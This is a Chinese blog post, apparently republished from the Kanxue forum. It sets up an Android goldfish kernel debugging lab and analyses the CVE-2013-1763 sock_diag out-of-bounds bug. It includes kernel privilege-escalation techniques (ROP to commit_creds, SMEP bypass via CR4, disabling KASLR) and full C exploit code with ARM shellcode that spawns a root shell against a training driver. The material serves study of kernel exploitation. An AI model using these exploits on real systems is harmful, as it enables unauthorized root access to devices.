搭建 Android 内核环境

栏目: IT技术 · 发布时间: 6年前

搭建 Android 内核环境

本文为看雪论坛优秀文章

看雪论坛作者ID: Dawuge

本来是想尝试在Android下复现,但最后还是只在 Linux 下复现成功了,可能还是出现了些纰漏的地方。

以前搭建过linux的内核环境,当时是为了做kernel pwn搭建的,但是尝试复现Android kernel的漏洞,虽说原理相同,但还是重新搭建了新的环境。

搭建环境的步骤基本没遇到什么大坑,跟着这个库 ( https://github.com/Fuzion24/AndroidKernelExploitationPlayground) 走基本就没遇到什么大坑。

配置

playground

├── android-sdk-linux

├── arm-linux-androideabi-4.6

├── goldfish

└── kernel_exploit_challenges

git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish && \

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges && \

cd goldfish && git checkout -t origin/android-goldfish-3.4 && \

git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \

cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

搭建内核

export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\

export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \

cd goldfish && make goldfish_armv7_defconfig && make -j8

编译完成后,就会有两个主要的文件: goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage 。前面那个用于在调试时 gdb加载,后面的用于在安卓模拟器启动时加载。

vmlinux 用于提供符号表,zImage 则用于运行环境。

然后下载或者编译sdk,下载完成后解压并将 android-sdk-linux/tools 加入环境变量(.bashrc)。

wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

tar xvf android-sdk_r24.4.1-linux.tgz

export PATH=YOURPATH/android-sdk-linux/tools:$PATH

还要下jdk,在终端中输入 android,下载我们需要的 SDK 和系统镜像。

搭建 Android 内核环境

运行模拟器

创建模拟器:

android create avd --force -t "android-19" -n kernel_challenges

其选项按需求选择,反正我一开始是一路enter的。

接下来进入 goldfish 目录,执行下面的命令用我们的内核运行模拟器,并在 1234 端口 起一个 gdbserver 方便内核调试。

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

再开一个 shell,进入 goldfish 目录,加载 vmlinux 以便调试内核:

arm-linux-androideabi-gdb vmlinux

这里的gdb注意因为前面export path了,所以实际路径是在arm-linux-androideabi-4.6/bin里。

出现arm-linux-androideabi-gdb: error while loading shared libraries: libpython2.6.so.1.0: cannot open shared object file: No such file or directory问题时用以下方法即可:

ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

这样基本上就可以调试内核了。

整体来说不太复杂,就是拖文件够呛,网络太差了orz。

之前调试kernel pwn题的时候还要烦些,后来用了两种方式搞定kernel环境,一是在虚拟机里搞定后再在本机的vscode 用ssh连接虚拟机,就实现了在vscode边写代码边测试的路子(很舒服),后来还是觉得麻烦因为要关hyper,不能使用wsl处理一般事务,于是就直接在我的pwn docker里直接搭建环境也成功了,然后再用 docker 共享文件也实现了边写代码边测试的路子(更舒服而且cpu的负荷啥的也小),具体搭建kernel环境的步骤不再累述,网上很多。

二更:分析了cve-2013-1763, 还是踩了一些坑

放一下一些内核的安全利用点(很不全),可以直接看ctf wiki或者其他的类似博客,大佬略过即可。

KASLR

内核地址空间随机化,内核地址显示限制,即kptr restrict指示是否限制通过/ proc和其他接口暴露内核地址。

0:默认情况下,没有任何限制。

1:使用%pK格式说明符打印的内核指针将被替换为0,除非用户具有CAP SYSLOG特权。

2:使用%pK打印的内核指针将被替换为0而不管特权。

也就是说,当kptr_ restrict被限制的时候我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址,要禁用该限制使用下面的命令:

sudo sysctl -w kernel.kptr_restrict=0

内核的rop:

|----------------------|

| pop rdi; ret |<== low mem

|----------------------|

| NULL |

|----------------------|

| addr of |

| prepare_kernel_cred()|

|----------------------|

| mov rdi, rax; ret |

|----------------------|

| addr of |

| commit_creds() |<== high mem

|----------------------|

smep

smep位于CR4寄存器的第20位,设置为1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法


修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub就好。

绕过smep的方法

由于我们只能在内核空间执行代码,但是不能把ROP链放到内核空间中,所以只能用stack pivot把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。

stack pivot

mov rXx, rsp ; ret

add rsp, ...; ret

xchg rXx, rsp ; ret(xchg eXx, esp ; ret)

xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP,然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。

如下构造:

offset of rip

pop rdi; ret

mov CR4, rdi; ret

commit_creds(prepare_kernel_cred(0))

swapgs

iretq

RIP

CS

EFLAGS

RSP

SS

漏洞的问题点其实不难,做过一点pwn的师傅们都能看的出来是个OOB类型的漏洞,简要分析下。

先看patch,发现增加了个对req->sdiag_family的大小检查,于是定位到这个函数。

搭建 Android 内核环境

发现外面还有个封装,不难看出要触发这个函数需要nlh的nlmsg_type类型为SOCK_DIAG_BY_FAMILY。

搭建 Android 内核环境

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)

{

int ret;

switch (nlh->nlmsg_type) {

case TCPDIAG_GETSOCK:

case DCCPDIAG_GETSOCK:

if (inet_rcv_compat == NULL)

request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,

NETLINK_SOCK_DIAG, AF_INET);

mutex_lock(&sock_diag_table_mutex);

if (inet_rcv_compat != NULL)

ret = inet_rcv_compat(skb, nlh);

else

ret = -EOPNOTSUPP;

mutex_unlock(&sock_diag_table_mutex);

return ret;

case SOCK_DIAG_BY_FAMILY:

return __sock_diag_rcv_msg(skb, nlh);

default:

return -EINVAL;

}

}

可以在linux手册 ( http://man7.org/linux/man-pages/man7/netlink.7.html ) 上看到nlmsghdr结构:

struct nlmsghdr {

__u32 nlmsg_len; /* Length of message including header */

__u16 nlmsg_type; /* Type of message content */

__u16 nlmsg_flags; /* Additional flags */

__u32 nlmsg_seq; /* Sequence number */

__u32 nlmsg_pid; /* Sender port ID */

};

nlmsg_type can be one of the standard message types: NLMSG_NOOP mes‐

sage is to be ignored, NLMSG_ERROR message signals an error and the

payload contains an nlmsgerr structure, NLMSG_DONE message terminates

a multipart message.

要想调用到该结构体,需要使用NETLINK_SOCK_DIAG协议的Netlink套接字发送消息,具体可参考netlink编程 ( http://edsionte.com/techblog/archives/4140) 或Netlink Socket ( https://my.oschina.net/longscu/blog/59534 ) ,这里就不再累述。

再看__sock_diag_rcv_msg函数,可以知道,如果没有patch,那么在sock_diag_lock_handler的参数我们可以调用超过AF_MAX大小的值。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)

{

int err;

struct sock_diag_req *req = nlmsg_data(nlh);

const struct sock_diag_handler *hndl;

if (nlmsg_len(nlh) < sizeof(*req))

return -EINVAL;

if (req->sdiag_family >= AF_MAX)

return -EINVAL;

hndl = sock_diag_lock_handler(req->sdiag_family);

if (hndl == NULL)

err = -ENOENT;

else

err = hndl->dump(skb, nlh);

sock_diag_unlock_handler(hndl);

return err;

}

再看sock_diag_lock_handler以及sock_diag_handlers函数组的定义,发现在这里就出现了OOB的问题。

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)

{

if (sock_diag_handlers[family] == NULL)

request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,

NETLINK_SOCK_DIAG, family);

mutex_lock(&sock_diag_table_mutex);

return sock_diag_handlers[family];

}

static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

根据上面的一些介绍和链接参考基本上就能知道要如何去构造而exp了, 我看网络上公布的exp大致原理相同,可参考 1 , 2 , 3

,而

AndroidKernelExploitationPlayground是自己实现了个类似的漏洞,大致原理原理类似,但无需构造socket去与他交互和填充具体的结构体数值,更加好理解些。

exp的分析一起写在代码里了。

#include <stdio.h>

#include <strings.h>

#include <fcntl.h>

#include <sys/mman.h>

#include "../../module/CommandHandler.h"

#include "dbg.h"

__u32

get_symbol(char *name)

{

FILE *f;

__u32 addr;

char dummy, sname[512];

int ret = 0;

//在/proc/kallsyms文件中存放着结构体的地址,需要读取用来先对偏移

//如果系统开启了内核地址显示限制可以用这个命令禁用

//sudo sysctl -w kernel.kptr_restrict=0

f = fopen("/proc/kallsyms", "r");

if (!f) {

return 0;

}

while (ret != EOF) {

ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {

fscanf(f, "%s\n", sname);

continue;

}

if (!strcmp(name, sname)) {

printf("[+] resolved symbol %s to %p\n", name, (void *) addr);

return addr;

}

}

return 0;

}

__u32 commit_creds;

__u32 prepare_kernel_cred;

int main(void){

//基本思路一样的,都是最终调用commit_creds(prepare_kernel_cred(0));

commit_creds = get_symbol("commit_creds");

prepare_kernel_cred = get_symbol("prepare_kernel_cred");

//这个是封装在AndroidKernelExploitationPlayground环境内的漏洞文件位置(这里和其他的exp不同,重点没有去构造socket与其交互,而是直接用其自己实现的伪“函数”,然后用ioctl与其交互。

int cmd_handler = open("/dev/array_index", O_RDWR);

check(cmd_handler >= 0, "Error opening challenge device");

//这里就是构造一块可入可写可执行的用户空间,在这段空间内布置rop链

__u32 mmap_start = 0x02000000, mmap_size = 0x15000;

printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);

check(mapped != MAP_FAILED, "Failed mapping");

//0x00000000 is nop for ARM

bzero( (void*)mmap_start, mmap_size );

//这里是arm上的exp,学过arm pwn的师傅们应该也不觉得陌生

//先将prepare_kernel_creds的位置放入r3,在把参数赋为0,即prepare_kernel_creds(0)

//调用r3内的函数(即prepare_kernel_creds)后,由于r0同时担当了保存返回值的角色,于是只需将接下来调用的寄存器赋为commit_creds即可

__u32 jump[] = {

//00000000 <_start>:

/* 0:*/ 0xe92d4010, // push {r4, lr}

/* 4:*/ 0xe59f3010, // ldr r3, [pc, #16] ; 1c <_start+0x1c> (prepare_kernel_creds)

/* 8:*/ 0xe3a00000, // mov r0, #0

/* c:*/ 0xe12fff33, // blx r3

/* 10:*/ 0xe59f3008, // ldr r3, [pc, #8] ; 20 <_start+0x20> (commit_creds)

/* 14:*/ 0xe12fff33, // blx r3

/* 18:*/ 0xe8bd8010, // pop {r4, pc}

/* 1c:*/ prepare_kernel_cred, // .word prepare_kernel_cred

/* 20:*/ commit_creds // .word commit_creds

};

memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));

/*这里看一下触发的函数吧,都是OOB,但是没那么复杂,不需要构造socket交互,而是换为了ioctl

CommandHandler handlers[] = {

{

.runHandler = &doNothingIntializer

},

{

.runHandler = &doNothingIntializer

}

};

long ai_ch_ioctl(struct file *filp,

unsigned int cmd,

unsigned long arg)

{

unsigned int handler_index = arg;

switch (cmd) {

case RUN_COMMAND_HANDLER:

handlers[handler_index].runHandler();

break;

default :

printk("Unknown ioctl cmd: %d", cmd);

return -1;

}

return 0;

}*/

printf("[+] Triggering the exploit\n");

int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);

check(rc != -1, "IOCTL failed");

printf("uid=%d, euid=%d\n",getuid(), geteuid() );

if(!getuid())

execl( "/system/bin/sh", "sh", (char*) NULL);

return 0;

error:

return -1;

}

最后运行时需要注意,不要用串了。我一开始用错一个exp,直接用了exploit-db上的exp,而其对应的linux内核版本是3.3-3.8,而在Android模拟器上复现的话,还是用ndk编译,且具体的数据构造和exp内容(特别是汇编部分)还是不一样的,注意查看下对应的系统结构比如下面这个,注意对应的gcc版本,一开始没注意还运行不起来。

Linux version 3.4.67-g5e0dcfb (test@test-virtual-machine) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Sun Mar 8 14:27:12 CST 2020

执行后程序报错,可能还是有些不准,pc值是0有些迷惑。

Unable to handle kernel NULL pointer dereference at virtual address 00000000

pgd = d77c4000

[00000000] *pgd=177bc831, *pte=00000000, *ppte=00000000

Internal error: Oops: 80000017 [#1] PREEMPT ARM

CPU: 0 Not tainted (3.4.67-g5e0dcfb #1)

PC is at 0x0

LR is at ai_ch_ioctl+0x20/0x40

pc : [<00000000>] lr : [<c025c1c0>] psr: 60000013

sp : d77a3f18 ip : 00000005 fp : bec41b48

r10: 00000000 r9 : d77a2000 r8 : 00000000

r7 : 00000005 r6 : d768cc80 r5 : de05d590 r4 : 00000601

r3 : 00000000 r2 : c04adc40 r1 : 00001337 r0 : d768cc80

Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user

Control: 10c53c7d Table: 177c4059 DAC: 00000015

[<c025c1c0>] (ai_ch_ioctl+0x20/0x40) from [<c00bf208>] (do_vfs_ioctl+0x560/0x5d4)

[<c00bf208>] (do_vfs_ioctl+0x560/0x5d4) from [<c00bf2c8>] (sys_ioctl+0x4c/0x6c)

[<c00bf2c8>] (sys_ioctl+0x4c/0x6c) from [<c000d680>] (ret_fast_syscall+0x0/0x30)

Code: bad PC value

---[ end trace 6e436d5d54b1e15f ]---

Kernel panic - not syncing: Fatal exception

未完待续吧,这个库里面还是有很多其他漏洞的,也推荐给想做arm上kernel漏洞复现的同学,但可能给android上的体会不太深,比较和Linux内核类似,且这次踩坑的时候心态有些炸了,具体的调试分析也直接草草分析过掉,希望下次能好些吧,争取复现下其他层次的漏洞。

唉,漫漫长路啊。

搭建 Android 内核环境

看雪ID: Dawuge

https://bbs.pediy.com/user-837839.htm  

*本文由看雪论坛 Dawuge 原创,转载请注明来自看雪社区。

搭建 Android 内核环境


以上所述就是小编给大家介绍的《搭建 Android 内核环境》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Release It!

Release It!

Michael T. Nygard / Pragmatic Bookshelf / 2007-03-30 / USD 34.95

“Feature complete” is not the same as “production ready.” Whether it’s in Java, .NET, or Ruby on Rails, getting your application ready to ship is only half the battle. Did you design your system to......一起来看看 《Release It!》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具